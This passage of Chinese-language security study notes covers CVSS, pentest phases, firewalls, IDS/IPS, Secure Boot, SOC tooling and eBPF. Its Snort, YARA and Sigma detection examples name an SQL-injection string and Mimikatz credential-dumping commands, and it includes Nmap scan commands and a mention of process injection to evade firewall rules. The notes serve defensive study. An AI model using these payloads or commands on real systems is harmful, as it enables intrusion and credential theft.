攻擊需求（Attack Requirements）	AT	None > Present	v4.0 新增：成功攻擊所需的前置條件（如特定競爭條件、配置狀態），與 AC 拆分
所需權限（Privileges Required）	PR	None > Low > High	同 v3.x
使用者互動（User Interaction）	UI	None > Passive > Active	v3.x 僅 None / Required；v4.0 新增 Passive（使用者被動觸發）

受測系統影響（Vulnerable System Impact）

指標	縮寫	選項
機密性影響	VC	High / Low / None
完整性影響	VI	High / Low / None
可用性影響	VA	High / Low / None

後續系統影響（Subsequent System Impact）

指標	縮寫	選項
機密性影響	SC	High / Low / Negligible
完整性影響	SI	Safety / High / Low / Negligible
可用性影響	SA	Safety / High / Low / Negligible

CVSS 評分等級：

等級	分數範圍
None	0.0
Low	0.1–3.9
Medium	4.0–6.9
High	7.0–8.9
Critical	9.0–10.0

CVSS v3.x vs v4.0 主要差異

面向	v3.x	v4.0
影響範圍表示	單一 Scope 指標（Changed / Unchanged）	拆為 Vulnerable System（VC/VI/VA）與 Subsequent System（SC/SI/SA）兩組，各自評分
攻擊複雜度	AC 同時涵蓋技術難度與前置條件	AC（攻擊者主動規避防禦的難度）與 AT（成功攻擊所需前置條件）拆分為兩個獨立指標
使用者互動	None / Required	None / Passive / Active（細分被動觸發與主動操作）

CVE vs CWE vs CVSS

項目	定位	類比
CVE	特定漏洞的唯一編號	「某棟大樓的某扇窗戶壞了」（具體事件）
CWE	弱點的分類目錄	「窗戶鎖設計不良」（弱點類型）
CVSS	漏洞嚴重度評分	「這扇壞窗戶的風險有多高」（嚴重程度）

• 一個 CVE 通常對應一或多個 CWE 類別（如 CVE-2021-44228 對應 CWE-502）。
• CWE Top 25 與 OWASP Top 10（文件內對照表）互補，前者偏向程式碼層弱點分類，後者偏向 Web 應用風險。

滲透測試類型與範圍

類型	英文	資訊揭露程度	測試方式	模擬情境
黑箱測試	Black Box	無內部資訊	外部攻擊者視角，僅知目標組織名稱	外部駭客攻擊
灰箱測試	Grey Box	部分內部資訊	提供基本網路架構或員工清單	離職員工或合作夥伴攻擊
白箱測試	White Box	完整內部資訊	提供系統文件、原始碼、網路圖	內部威脅或全面安全評估

白箱/灰箱/黑箱的適用範圍

黑箱/灰箱/白箱是通用的測試方法論維度，描述「測試者掌握多少目標資訊」，並非滲透測試專用：

領域	應用方式
滲透測試	黑箱 = 外部攻擊者視角；白箱 = 內部人員/完整文件視角
軟體測試/QA	白箱 = 看原始碼的單元測試；黑箱 = 只測介面行為（功能測試）
安全程式碼審查	白箱 = 有原始碼可審查；黑箱 = 只有執行檔可分析（逆向工程）

滲透測試階段：

階段	英文	活動	工具範例	產出
偵察	Reconnaissance	OSINT、DNS 查詢、埠掃描	Nmap	目標資產清單
掃描	Scanning	弱點掃描、服務指紋識別	Nessus、Nikto	弱點清單
取得存取權	Gaining Access	漏洞利用、密碼攻擊	Metasploit	初始立足點
維持存取權	Maintaining Access	後門植入、權限提升	Cobalt Strike	持續性存取
清除痕跡	Covering Tracks	日誌清理、痕跡移除	手動或腳本	隱匿攻擊證據

Nmap 常用掃描指令

Nmap（Network Mapper）是開源的網路探索與安全稽核工具，廣泛用於滲透測試的偵查階段。核心功能包含主機存活偵測、開放埠掃描、服務版本識別與作業系統指紋識別。支援 TCP SYN（半開放）、UDP、XMAS 等多種掃描技術，並內建 NSE（Nmap Scripting Engine）腳本引擎，可延伸執行弱點偵測、暴力破解等進階任務。

# TCP SYN 掃描（半開放，需 root）
sudo nmap -sS -p 1-1024 192.168.1.0/24

# 完整掃描：SYN + 版本偵測 + OS 偵測 + 預設腳本
sudo nmap -sS -sV -O -sC target.example.com

# UDP 掃描（速度較慢，常用於 DNS/SNMP）
sudo nmap -sU -p 53,161 target.example.com

• 官方文件：
  • Nmap 文件總覽：https://nmap.org/docs.html
  • Nmap Reference Guide：https://nmap.org/book/man.html

防禦技術

常見資安防禦技術對照表

以下為跨多種攻擊手法的通用防禦技術。各攻擊手法的原理與專屬防禦措施，詳見常見軟體漏洞利用手法對照表。

防禦技術	全名與中文	防禦原理	可對應的攻擊手法
ASLR	Address Space Layout Randomization（位址空間配置隨機化）	每次程式執行時，隨機化 Stack、Heap、共享函式庫的記憶體位址，使攻擊者無法預測目標位址。	Buffer Overflow、Heap Spray、ROP
DEP / NX	Data Execution Prevention / No-Execute（資料執行防止）	將記憶體區段標記為「不可執行」，即使攻擊者注入 Shellcode 也無法直接執行。	Buffer Overflow、Heap Spray
Stack Canary	堆疊金絲雀	在緩衝區與返回位址之間插入隨機值，函式返回前驗證是否被覆蓋。被覆蓋 → 立即終止程序。	Buffer Overflow
CFI	Control Flow Integrity（控制流完整性）	限制程式的間接跳轉（call、ret）只能到預先核可的合法目標，阻止攻擊者劫持控制流。	ROP
Shadow Stack	影子堆疊（Intel CET）	硬體層級維護一份返回位址的備份（Shadow Stack），ret 時比對兩份位址是否一致，不一致則終止。	ROP
Constant-time Implementation	常數時間演算法	確保所有輸入的執行路徑耗時相同，消除時序差異可被量測的問題。.NET 提供 CryptographicOperations.FixedTimeEquals()。	時序旁路攻擊（Timing Side-channel）
KPTI	Kernel Page-Table Isolation（核心頁表隔離）	使用者態與核心態使用不同的頁表，防止使用者態透過快取時序推算核心記憶體內容。	Meltdown
Retpoline / IBRS	Return Trampoline / Indirect Branch Restricted Speculation	阻止 CPU 推測執行時的分支預測攻擊。Retpoline 是軟體層面；IBRS 是硬體微碼更新。	Spectre
Sandbox	沙箱	將程式限制在隔離環境中執行，即使被入侵也無法影響主系統或存取其他資源。	Zero-day、Fileless Malware、RCE

防火牆類型對照表

類型	運作 OSI 層	核心機制	優點	缺點
封包過濾（Packet Filter）	L3–L4	依 IP、Port、協定的靜態規則逐包過濾	速度快、資源消耗低	無狀態，無法識別連線上下文；無法檢查 Payload。
狀態檢測（Stateful Inspection）	L3–L4	追蹤 TCP/UDP 連線狀態，確認封包屬於合法已建立的連線	比封包過濾更安全，能防止偽造封包	仍無法檢查應用層內容。
應用代理（Application Proxy）	L7	完整終止並重建連線，深度解析應用層協定	可偵測並阻擋應用層攻擊（如 XSS、SQLi）	延遲高，需針對每種協定部署對應代理。
下一代防火牆（NGFW，Next Generation Firewall）	L3–L7	整合 Stateful + DPI（Deep Packet Inspection，深度封包檢測）+ IPS + 應用識別	單一設備涵蓋多層防護	成本高、設定複雜。
網站應用程式防火牆（WAF，Web Application Firewall）	L7	專門針對 HTTP/HTTPS 流量深度解析，依簽章或行為規則識別並阻擋 Web 攻擊（XSS、SQLi、CSRF 等）	直接對應 OWASP Top 10；可套用虛擬修補（Virtual Patch）在程式修復前先行阻擋漏洞	僅保護 Web 流量；規則需持續維護，誤報可能影響正常請求。

各類防火牆的核心差異

• 封包過濾 = 只看「地址」和「門號」（IP + Port）。
• 狀態檢測 = 還記得「你有沒有先來敲門」（連線狀態）。
• 應用代理 = 讀「信件內容」後才決定放不放行。
• NGFW = 以上都有，再加上應用識別（如辨識 BitTorrent vs HTTP/443）。
• WAF = 只讀「HTTP 信件」，專攻 Web 攻擊；NGFW 是通才，WAF 是 Web 專科。
• Windows Defender Firewall = Stateful Inspection + 應用程式感知過濾。底層透過 WFP（Windows Filtering Platform）實作，屬於第二代（狀態檢測）防火牆，並在此基礎上新增應用程式層級的規則能力。不是 NGFW：不具備 DPI、IPS 引擎、應用層智慧識別等能力。
  • 輸入規則（Inbound Rules）：控制從外部主動發起、進入本機的流量。預設封鎖所有不在允許清單內的連入連線。需要設定的情境：本機作為伺服器主動接受外部連線（如開啟 RDP、架設 Web Server）。
  • 輸出規則（Outbound Rules）：控制本機對外發出的流量。預設允許所有連出連線。需要設定的情境：主動封鎖特定程式或 Port 的對外存取。
  • 以應用程式伺服器連線 SQL Server 為例：SQL Server 需要設定 Port 1433 的輸入規則，允許外部連線進來；應用程式伺服器需要設定輸出規則，允許對外連到 Port 1433。應用程式伺服器不需要另開輸入規則來接收查詢結果，Stateful Inspection 已記錄「這台機器主動建立了這條連線」，SQL Server 回傳的資料屬於合法已建立的連線，直接放行。
  • 應用程式規則：規則比對的是完整執行檔路徑（如 C:\Program Files\Google\Chrome\Application\chrome.exe），不只是檔名。底層透過 WFP 在核心網路堆疊中取得發起連線的程序路徑，決定放行或封鎖，不需知道程式使用哪個 Port。這是 OS 層的程序比對，與 NGFW 的應用識別不同，NGFW 是解析封包 Payload 來判斷應用協定（如辨識偽裝成 HTTPS 的 BitTorrent），不看是哪個程式。
  • 繞過方式：單純把惡意程式改名為 chrome.exe 無效，因為完整路徑不符。實際可行的繞過手法是進程注入，將惡意程式碼注入到正在執行的合法 chrome.exe，流量從合法程序發出，WFP 看到的路徑完全正確，規則會放行（這也是進程注入攻擊的實際效益之一）。
  • 網路設定檔（Profile）：每條規則可依連線情境套用，分為網域（Domain）、私人（Private）、公用（Public）三種設定檔，例如同一程式在家用網路允許、在公共 Wi-Fi 封鎖。

防火牆代別演進

代別	技術	OSI 層	關鍵里程碑
第一代	Packet Filter	L3–L4	1988 年 DEC 提出，僅檢查封包標頭。
第二代	Stateful Inspection	L3–L4	1994 年 Check Point 商用化，追蹤連線狀態。
第三代	Application Gateway / Proxy	L7	完整解析應用層協定，可攔截應用層攻擊。
NGFW	DPI + IPS + App ID + Stateful	L3–L7	2009 年 Gartner 定義，整合多技術於單一設備。

• WAF 不屬於防火牆代別演進，而是專為 Web 流量設計的 L7 防護設備，與 NGFW 互補。
• 能辨識應用層（L7）協定的防火牆，最早從第三代（Application Proxy）開始；NGFW 則將 DPI、IPS、App ID 整合至同一設備，提供更完整的 L7 可視性。

DMZ 與微分段（Micro-segmentation）

DMZ（Demilitarized Zone，非軍事區） 架構：

• DMZ 放置需對外提供服務但不應直接存取內網的伺服器。
• 雙防火牆架構（Two-firewall DMZ）安全性高於單防火牆三介面架構（Three-legged DMZ）。

微分段（Micro-segmentation）：

• 以軟體定義的方式在資料中心內部建立細粒度安全區段，每個工作負載（VM / Container / 應用程式）都有獨立的安全政策。
• 與傳統 VLAN 分段的差異：VLAN 以網路區段為單位，微分段可精細到單一主機或工作負載。
• 微分段是零信任架構在網路層的實踐，限制攻擊者的橫向移動。

IDS vs IPS 對照表

面向	IDS（入侵偵測系統）	IPS（入侵預防系統）	IDPS（入侵偵測與預防系統）
全名	Intrusion Detection System	Intrusion Prevention System	Intrusion Detection and Prevention System
部署位置	旁路（Out-of-band）：複製一份流量來分析，不位於主流量路徑上，不影響正常封包傳遞	串聯（Inline）：所有流量都必須先通過它才能繼續傳送，可即時攔截	串聯（Inline），同 IPS
對攻擊的反應	僅偵測並發出警報，不攔截	偵測後立即封鎖或丟棄惡意封包	可依規則選擇「僅告警」或「即時阻擋」，兩種模式皆支援
對正常流量影響	無影響（不干預流量）	有延遲風險（需即時分析每個封包）	有延遲風險（串聯部署）
誤判（False Positive）代價	較低（最多多一則警報）	較高（誤判可能封鎖合法流量，影響服務）	視模式而定；阻擋模式同 IPS，偵測模式同 IDS
偵測方式	特徵碼比對（Signature）/ 行為異常（Anomaly）	同 IDS，但多了即時阻擋能力	同 IDS / IPS

IDS、IPS 與 IDPS 的差異

• IDS = 警報器，旁路部署，只通知不攔截，誤判代價低。
• IPS = 保全，串聯部署，直接阻擋，誤判可能封鎖合法流量。
• IDPS = 整合兩者，可依規則切換「偵測模式」與「阻擋模式」；現代企業幾乎都部署 IDPS（如 Snort、Suricata）。

偵測方法分類

偵測方法	原理	優點	缺點
特徵碼比對（Signature-based）	比對已知攻擊特徵碼資料庫	精確、誤報率低	無法偵測未知攻擊（Zero-day）。
異常偵測（Anomaly-based）	建立正常行為基線（Baseline），偏離即告警	可偵測未知攻擊	需要調校期，誤報率較高。
行為偵測（Behavior-based）	分析行為模式與攻擊鏈（如連續探測 → 提權 → 橫向移動）	可偵測複合型 APT 攻擊	運算負擔大，規則維護複雜。

• Signature-based 無法偵測 Zero-day 的根本原因：特徵碼資料庫只收錄「已知攻擊」，從未被記錄的手法不會觸發任何規則。
• Anomaly-based 誤報率高的根本原因：「正常行為基線」難以精確定義，合法的異常操作（如批次備份、大量查詢）容易被誤判為攻擊。

偵測規則語言：Snort / YARA / Sigma

IDS/IPS 和 SIEM 各自有對應的規則語言，三者偵測的對象層次不同：

工具	偵測對象	典型場景
Snort	網路封包	部署於防火牆旁的 IDS/IPS，即時比對封包特徵
YARA	檔案 / 記憶體內容	惡意程式分析、端點掃描、威脅獵捕（Threat Hunting）
Sigma	SIEM 日誌事件	將偵測邏輯寫成與平台無關的 YAML，再轉換為各家 SIEM 查詢語法

Snort：封包特徵規則語言，也是 Suricata 等開源 IDPS 的主流規則格式。規則描述來源 IP/Port、目標、Payload 關鍵字，可直接觸發告警或封鎖。

YARA：以字串、正規表達式與條件組合描述惡意程式的「指紋」，偵測對象是靜態檔案或記憶體快照，不涉及網路流量。一條 YARA 規則可識別整個惡意程式家族，即使樣本被改名或輕度混淆也能命中。

YARA 規則三大區塊：

區塊	用途	說明
meta	描述資料（非功能性）	記錄作者、描述、日期、CVE 參考等，不影響掃描邏輯，僅供人工閱讀。
strings	特徵定義	宣告要比對的字串特徵，可為純文字（"text"）、十六進位位元組序列（{ 6A 40 }）或正規表達式（/regex/）；支援 nocase（忽略大小寫）、wide（UTF-16）等修飾詞。
condition	掃描判斷邏輯（規則的心臟）	以布林邏輯（and、or、not）結合 strings 變數與其他屬性（如 filesize），決定目標是否命中。範例：any of ($s*) 命中任一字串；2 of them 至少命中兩項；$s1 and filesize < 500KB 組合條件。

Sigma：解決各家 SIEM 查詢語法不同、規則無法共享的問題。安全研究人員用 Sigma 寫好偵測邏輯，再用工具（如 sigma-cli）轉換成 Splunk SPL、Elastic KQL、Microsoft Sentinel KQL 等格式，實現「一次撰寫，多平台部署」。

常用規則範例

Snort — 偵測 HTTP 流量中的 SQL Injection 特徵

alert tcp any any -> $HOME_NET 80 (
  msg:"SQL Injection Attempt";
  flow:to_server,established;
  content:"' OR '1'='1"; nocase;
  sid:1001; rev:1;
)

• alert：符合即觸發告警（改為 drop 則直接封鎖）。
• flow:to_server,established：只看用戶端傳向伺服器的已建立連線，減少誤報。
• content：比對 Payload 中的特定字串；nocase 忽略大小寫。
• sid：規則唯一識別碼；rev：版本號。

YARA — 識別含有 Mimikatz 特徵字串的檔案

rule Mimikatz_Strings {
  meta:
    description = "Detects Mimikatz credential dumping tool"
    author      = "example"
  strings:
    $s1 = "mimikatz" nocase
    $s2 = "sekurlsa::logonpasswords" nocase
    $s3 = "lsadump::sam" nocase
  condition:
    any of ($s*)
}

• strings：定義要比對的字串特徵，可加 nocase、wide（UTF-16）等修飾詞。
• condition：any of ($s*) 表示只要命中任一 $s 開頭的字串即觸發。
• 可掃描磁碟檔案、記憶體快照，不需要知道確切檔名或雜湊值。

Sigma — 偵測 PowerShell 執行 Encoded Command（常見混淆手法）

title: PowerShell Encoded Command Execution
status: stable
description: Detects PowerShell execution with -EncodedCommand flag, commonly used to obfuscate malicious scripts
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - ' -EncodedCommand '
      - ' -enc '
  condition: selection
falsepositives:
  - Legitimate administrative scripts
level: medium

• logsource：指定日誌來源類型（此例為 Windows 程序建立事件）。
• detection.selection：比對欄位值；CommandLine|contains 支援多個關鍵字（OR 邏輯）。
• condition：selection 表示所有條件都需符合（AND 邏輯）。
• 轉換指令範例：sigma convert -t splunk rule.yml 輸出 Splunk SPL 語法。

Snort、YARA、Sigma 的層次定位

• Snort 作用於網路封包（傳輸層）；YARA 作用於檔案與記憶體內容（端點層）；Sigma 作用於 SIEM 日誌事件（分析層）。
• YARA 偵測的是靜態特徵，主要用途是惡意程式家族識別，不具備即時封鎖能力。
• Sigma 的設計目標是規則可攜性：同一份規則可轉換成不同 SIEM 的查詢語法，避免廠商鎖定。

執行期應用程式自我防護（RASP）

RASP（Runtime Application Self-Protection） 是嵌入應用程式內部的安全機制，在執行期間即時攔截惡意呼叫，而非在外部流量層阻擋。

面向	WAF	RASP
防護位置	應用程式外部（流量層）	應用程式內部（執行期）
可見度	HTTP 請求與回應	函式呼叫、記憶體狀態、資料庫查詢
旁路風險	可被 Obfuscation 或加密繞過	攻擊者難以繞過（直接掛勾 Runtime）
誤報代價	可能封鎖正常請求	可能中斷應用程式正常流程
部署方式	外掛 Reverse Proxy / CDN	以 Agent 或 Library 注入應用程式

RASP 的核心機制是掛勾（Hook） 關鍵 API（如 SQL 查詢、檔案系統存取、OS 命令執行），在呼叫發生的瞬間進行上下文驗證：

1. 攻擊者觸發 SQL Injection Payload。
2. RASP 在 SQL 執行前攔截，比對查詢結構是否符合預期樣板。
3. 若結構異常（如含有 UNION SELECT），立即終止並記錄，不需等外部偵測。

RASP vs WAF vs IPS 防護層比較

• IPS：網路層，針對封包特徵，不理解應用語意。
• WAF：應用層邊界，解析 HTTP，仍看不到後端執行狀態。
• RASP：應用程式內部，直接掛勾執行時期，了解完整的函式呼叫上下文。

三者不互斥，縱深防禦（Defense in Depth）中可共存：WAF 過濾已知攻擊特徵 → RASP 阻擋語意層攻擊。

AppLocker、WDAC 與 UAC（Windows 應用程式控制）

機制	AppLocker	UAC（User Account Control）
目的	限制哪些應用程式可以執行	限制應用程式取得高權限
控制層面	可執行政策（白名單 / 黑名單）	權限提升同意（Consent Prompt）
設定依據	發行者（Publisher）、路徑、雜湊值	應用程式是否請求 Administrator Token
適用範圍	企業環境，透過 GPO 集中套用	所有 Windows 使用者（預設啟用）
繞過風險	白名單路徑（如 %WINDIR%）被濫用的 LOLBins	已知的 UAC Bypass 技術（DLL 劫持、COM 物件濫用）

AppLocker 規則類型：

• 發行者規則（Publisher Rule）：依數位簽章的發行者、產品名稱、檔案版本設定，最具彈性且不易偽造。
• 路徑規則（Path Rule）：依檔案或資料夾路徑設定，速度快但可被路徑混淆繞過。
• 雜湊規則（Hash Rule）：依特定檔案的雜湊值設定，最精確但維護成本高（每次更新需重新計算）。

AppLocker 查詢與測試指令

# 讀取本機 AppLocker 政策
Get-AppLockerPolicy -Local

# 讀取目前生效中的 AppLocker 政策
Get-AppLockerPolicy -Effective

# 測試指定程式在現行政策下是否可執行
Test-AppLockerPolicy `
  -PolicyObject (Get-AppLockerPolicy -Effective) `
  -Path C:\Windows\System32\notepad.exe `
  -User Everyone

• Get-AppLockerPolicy -Local 看本機 GPO 設定，-Effective 看合併後真正生效的結果。
• Test-AppLockerPolicy 適合在正式套用前，先驗證某個執行檔會被允許還是封鎖。
• UAC 本身不是白名單工具，它的重點是權限提升提示，不會取代 AppLocker。

AppLocker vs UAC 職責邊界

• AppLocker = 「這個程式可不可以跑」—入口管制。
• UAC = 「這個程式可不可以拿到管理員鑰匙」—權限升降管制。
• 兩者互補：AppLocker 阻止未授權程式啟動，UAC 阻止已啟動程式自我提權。
• SRP（Software Restriction Policies） 是 AppLocker 的前身，仍支援但已不建議使用；AppLocker 支援更細粒度的規則與稽核模式。

Secure Boot、Measured Boot 與 TPM 信任鏈

啟動流程信任鏈

UEFI 韌體 → Secure Boot 驗證簽章 → 載入 Bootloader → 載入 OS Kernel → OS 啟動

元件	說明
UEFI Secure Boot	韌體在載入 Bootloader 前，驗證其數位簽章是否在允許清單（db）中，拒絕未簽章或簽章不合法的程式碼
Measured Boot	每個啟動階段的元件雜湊值被記錄到 TPM 的 PCR 中，供遠端證明（Remote Attestation）驗證
TPM（Trusted Platform Module）	硬體安全模組，儲存平台量測值（PCR，Platform Configuration Registers）與加密金鑰

• 防禦目標：Bootkit / Rootkit 在 OS 載入前篡改啟動程序。
• TPM 版本：TPM 2.0 為目前標準（Windows 11 強制要求），支援更多加密演算法（SHA-256、ECC）。
• BitLocker 整合：Windows BitLocker 將磁碟加密金鑰封存於 TPM，並與啟動時的 PCR 量測值綁定，僅在「原機 + 啟動流程未被篡改」的條件下自動解封。若將硬碟拔出插到另一台機器，對方的 TPM 不同、PCR 值也不符，金鑰無法解封，讀到的只有加密後的亂碼；若啟動流程遭到篡改（如植入 Rootkit），PCR 值改變，TPM 同樣拒絕釋放金鑰。
• 風險：若攻擊者取得合法簽章的惡意 Bootloader（如 BlackLotus UEFI Bootkit），Secure Boot 可能被繞過，需仰賴韌體更新撤銷受影響的簽章。

Windows / Linux Secure Boot 與 TPM 檢查指令

# Windows：確認 Secure Boot 是否啟用
Confirm-SecureBootUEFI

# Windows：查看 TPM 狀態
Get-Tpm

# Linux：查看 Secure Boot 狀態
mokutil --sb-state

# Linux：列出 Secure Boot 資料庫中的允許清單
mokutil --db

• Confirm-SecureBootUEFI 回傳 True / False，若是非 UEFI 平台會直接顯示不支援。
• Get-Tpm 可快速確認 TpmPresent、TpmReady、TpmEnabled 等狀態。
• mokutil --sb-state 是 Linux 上常見的 Secure Boot 快速檢查方式。

Secure Boot / Trusted Boot / Measured Boot 差異

機制	動作	目的	阻止未授權啟動
Secure Boot	驗證每個啟動元件的數位簽章，拒絕載入未簽章的程式碼	防止未授權的 Bootloader/Driver 執行	✅ 是
Trusted Boot	在 Secure Boot 之後，驗證 Windows Kernel、Boot Driver 與系統檔案的簽章	延伸 Secure Boot 的保護至 OS 核心層級	✅ 是
Measured Boot	記錄每個啟動元件的雜湊值至 TPM，供事後或遠端驗證	提供啟動完整性的證據，不阻止啟動	❌ 否（僅記錄）

• Secure Boot 保護 UEFI 韌體到 Bootloader 的階段。
• Trusted Boot 接續 Secure Boot，保護 Windows Kernel 與 Boot Driver 的載入階段（由 Windows Boot Manager 執行簽章驗證）。
• Measured Boot 貫穿整個啟動流程，但只「記錄」不「阻止」。記錄的資料可透過 Remote Attestation 讓遠端伺服器判斷裝置是否可信。
• 三者互補：Secure Boot 阻擋未簽章的程式碼 → Trusted Boot 延伸保護至 OS → Measured Boot 提供可驗證的信任證據。

WAF 規則類型與部署模式

防火牆類型對照表中已列出 WAF 為 L7 防護，此處補充規則設計與部署架構。

面向	說明
正面模型（Allowlist）	僅允許符合預定義模式的請求通過，安全性高但設定嚴格，適合 API 閘道等結構固定的場景。
負面模型（Denylist）	封鎖已知惡意模式（如 OWASP Core Rule Set, CRS），容易部署但可能遺漏未知攻擊。
混合模型	結合正面與負面模型，先以 Denylist 擋已知攻擊，再以 Allowlist 限縮合法請求範圍。

部署模式：

部署模式	英文	說明
反向代理	Reverse Proxy	WAF 作為代理接收所有流量後轉發至後端，可完整解析、修改與快取請求。最常見的部署方式。
透明橋接	Transparent Bridge	以 L2 Bridge 方式部署，不需變更網路架構與 IP 配置。
雲端 WAF	Cloud WAF	由 CDN / 雲端服務商提供（如 AWS WAF、Cloudflare WAF、Azure WAF），無需自建設備，適合快速部署。

常見 WAF 產品

• 開源：ModSecurity（搭配 OWASP CRS）、Coraza。
• 商用：F5 Advanced WAF、Imperva WAF。
• 雲端原生：AWS WAF、Azure WAF、Cloudflare WAF、Google Cloud Armor。

SOC（安全營運中心）、SIEM 與 SOAR

SIEM 架構：

面向	SIEM	SOAR
全名	Security Information and Event Management（安全資訊與事件管理）	Security Orchestration, Automation and Response（安全協調、自動化與回應）
核心功能	日誌彙整、關聯分析、威脅偵測、合規報告	事件自動分類、Playbook 自動化回應、跨工具整合編排
定位	「偵測問題」—從海量日誌中找出威脅	「處理問題」—將偵測到的威脅自動或半自動地處置
典型整合	接收各式 Log Source，產出告警與報表	接收 SIEM 告警，觸發 Playbook 自動執行封鎖 IP、隔離主機、通知值班人員等動作
代表產品	Splunk、IBM QRadar、Microsoft Sentinel、Elastic SIEM	Splunk SOAR、Palo Alto XSOAR、IBM Resilient

SIEM 與 SOAR 的協作關係

• SIEM = 監視器，負責看到問題。
• SOAR = 自動化保全，負責處理問題。
• 兩者通常搭配使用：SIEM 產出告警 → SOAR 依 Playbook 自動回應 → 減少 SOC 人員手動處理量。

Playbook 與 Runbook

面向	Playbook	Runbook
定義	事件應變的策略性指導文件，描述「面對某類事件時該怎麼做」	具體操作步驟的執行手冊，描述「每個步驟如何執行」
抽象層級	高（流程與決策邏輯）	低（可直接照做的指令與操作）
範例	「勒索軟體事件 Playbook」：定義通報流程、升級條件、決策樹	「隔離受感染主機 Runbook」：登入防火牆 → 執行指定規則 → 驗證隔離
使用者	CSIRT 主管、資安經理	SOC 分析師、維運工程師

一份 Playbook 通常對應多份 Runbook；SOAR 平台可將 Playbook 自動化執行，減少人工介入時間。

紅隊 / 藍隊 / 紫隊：

資安演練中，依職能分為不同顏色的隊伍，各自模擬攻守角色，相互回饋以提升整體防禦能力。

隊伍	職能	工作內容
紅隊（Red Team）	攻擊方	以真實攻擊者的 TTP（Tactics, Techniques, Procedures）對目標組織發動模擬攻擊，找出防守缺口。常參考 MITRE ATT&CK 框架設計攻擊鏈。
藍隊（Blue Team）	防守方	負責監控、偵測與回應攻擊，SOC 是藍隊的核心運作單位，工具包含 SIEM、IDS/IPS、EDR。
紫隊（Purple Team）	協作方	本身不是獨立的永久團隊，而是一種運作模式：紅隊將攻擊路徑與結果即時分享給藍隊，藍隊同步調整偵測規則與回應流程，形成閉環改善。

紅隊與藍隊若各自為政，演練結束後報告歸報告、防禦歸防禦，改善效果有限。紫隊模式的核心價值在於「讓攻擊發現直接驅動防禦提升」，縮短從發現漏洞到修補偵測能力的時間差。

Active Directory 攻擊路徑分析：

在大型企業 Active Directory 環境中，帳號、群組、電腦物件之間的權限關係錯綜複雜，人工梳理難以窮舉。紅隊演練中，攻擊者利用 圖論（Graph Theory） 演算法，將 AD 物件視為節點（Node）、將權限委派關係視為有向邊（Directed Edge），再以最短路徑演算法（BFS/Dijkstra）找出從一般使用者到 Domain Admin 的最小提權步驟鏈。

工具	說明
BloodHound	開源 AD 攻擊路徑視覺化工具，以 Neo4j 圖形資料庫儲存 AD 物件關係，透過 Cypher 查詢語言找出最短提權路徑。代表查詢：「從哪些普通使用者可以最快到達 Domain Admins？」
SharpHound（採集器）	BloodHound 的資料採集元件，在目標域內執行，擷取 AD 物件（帳號、群組、GPO、ACL）並產出 JSON 供 BloodHound 匯入。
AzureHound	BloodHound 的 Entra ID（Azure AD）擴充版，支援雲端與混合環境的攻擊路徑分析。

BloodHound 對藍隊的價值

BloodHound 不只是紅隊工具；藍隊同樣可主動掃描自身環境的攻擊路徑，在攻擊者利用之前修復。常見應用：

• 識別擁有過多委派權限的帳號（Kerberoastable / AS-REP Roastable）。
• 找出通往 Domain Admin 的最短路徑，優先清除高風險的「橋接節點」帳號。
• 驗證 DCSync 攻擊所需的 DS-Replication-Get-Changes-All 哪些帳號擁有。

SOC 分層模型（Tier Model）：

層級	角色	工作內容
Tier 1	告警分流分析師（Alert Triage Analyst）	監控 SIEM 告警，初步分類與排除誤報（False Positive），將確認的事件升級至 Tier 2。
Tier 2	事件回應人員（Incident Responder）	深度調查事件，進行日誌關聯分析，判斷攻擊範圍並執行初步遏制。
Tier 3	威脅獵捕員 / 鑑識分析師（Threat Hunter / Forensic Analyst）	主動獵捕未被告警捕捉的威脅，執行數位鑑識與根因分析，產出威脅情報。詳見 威脅獵捕。
Manager	SOC 經理（SOC Manager）	策略規劃、KPI 追蹤（MTTD / MTTR）、團隊管理與流程最佳化。

EDR / XDR / MDR 對照表

面向	EDR	XDR	MDR
全名	Endpoint Detection and Response（端點偵測與回應）	Extended Detection and Response（延伸偵測與回應）	Managed Detection and Response（委外偵測與回應）
防護範圍	端點（PC、Server）	端點 + 網路 + 雲端 + Email + 身分等多資料源	同 EDR/XDR，但由外部廠商代管
核心價值	端點行為偵測、威脅獵捕、事件回應	跨資料源關聯分析，減少 Alert Fatigue	解決企業缺乏資安人力的問題
資料整合	僅端點遙測資料	整合多源遙測至統一平台	依服務商而定，通常整合 EDR 或 XDR
運營模式	企業自行運營	企業自行運營	外包給資安服務商（MSSP），7×24 監控
代表產品	CrowdStrike Falcon、Microsoft Defender for Endpoint、Carbon Black	Microsoft 365 Defender、Palo Alto Cortex XDR、Trend Micro Vision One	CrowdStrike Falcon Complete、Arctic Wolf

EDR / XDR / MDR 定位差異

• EDR = 端點的「行車紀錄器」，記錄端點上所有行為以供分析。
• XDR = 把行車紀錄器擴展到網路、雲端、Email，跨域關聯分析。
• MDR = 把行車紀錄器交給專業車隊管理公司代管。
• 三者不互斥：企業可以用 XDR 平台 + MDR 代管服務。

eBPF（延伸柏克萊封包過濾器）

eBPF（extended Berkeley Packet Filter） 允許在 Linux 核心中執行沙箱化的使用者自訂程式，無需修改核心原始碼或載入核心模組。程式在載入時由核心內建的驗證器（Verifier）確認安全性，只有通過驗證的程式才能執行。

eBPF 在資安的雙面應用：

方向	應用	代表工具
防禦（觀測與防護）	擷取系統呼叫（syscall）、網路封包、程序行為，實現核心層級的即時可見性，延遲極低	Falco（執行期威脅偵測）、Cilium（K8s 網路安全）、Tetragon（安全可觀測性）
防禦（網路過濾）	在網路卡驅動層（XDP, eXpress Data Path）直接丟棄惡意封包，效能遠高於 iptables	Cloudflare DDoS 防護、Cilium NetworkPolicy
攻擊（eBPF Rootkit）	以 eBPF 程式掛鉤核心函式，隱藏程序、網路連線、檔案，不需傳統核心模組（LKM），更難被偵測	Boopkit、ebpfkit

與傳統方法的比較：

	傳統核心模組（LKM）	eBPF
安全隔離	核心模組崩潰直接導致系統崩潰	沙箱執行，驗證器防止無限迴圈與記憶體越界
部署門檻	需重新編譯或簽署核心模組	執行時動態載入，不需重開機
可觀測性	有限	可掛鉤任意核心函式，可見性極高
eBPF Rootkit 偵測	—	監控 bpf() 系統呼叫；使用 bpftool 列舉已載入的 eBPF 程式；檢查非預期的程式附加點（Hook Point）

EDR 與 eBPF 的關係

